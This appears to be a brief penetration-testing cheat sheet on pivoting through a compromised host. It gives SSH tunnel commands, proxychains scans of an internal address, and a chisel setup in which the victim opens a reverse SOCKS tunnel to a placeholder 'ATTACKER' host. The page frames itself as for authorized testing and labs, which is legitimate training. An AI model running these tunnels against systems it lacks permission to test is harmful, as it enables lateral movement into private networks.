Pivoting and Tunneling

⚠️ Authorized testing only. Everything here is for use only against systems you own or have explicit written permission to test — home labs, CTFs, and authorized engagements. Unauthorized access is illegal. See Rules of Engagement and Authorization.

Once you own one host, pivoting routes your tools through it to reach networks you can't touch directly.

#SSH tunnels

ssh -L 8080:127.0.0.1:80 user@pivot      # local: your :8080 → pivot's :80
ssh -R 9001:127.0.0.1:9001 user@target   # remote: target reaches back to you
ssh -D 1080 user@pivot                    # dynamic SOCKS proxy on :1080

#proxychains

Point tools through a SOCKS proxy (socks5 127.0.0.1 1080 in /etc/proxychains4.conf):

proxychains nmap -sT -Pn 10.10.20.5
proxychains ffuf -u http://10.10.20.5/FUZZ -w words.txt

#chisel (when no SSH)

# attacker (server)
./chisel server -p 8000 --reverse
# victim (client) → opens SOCKS back through the tunnel
./chisel client ATTACKER:8000 R:socks

Map the internal net first (ip route, arp -a), then pivot. Tie back to Metasploit (autoroute) and your lab.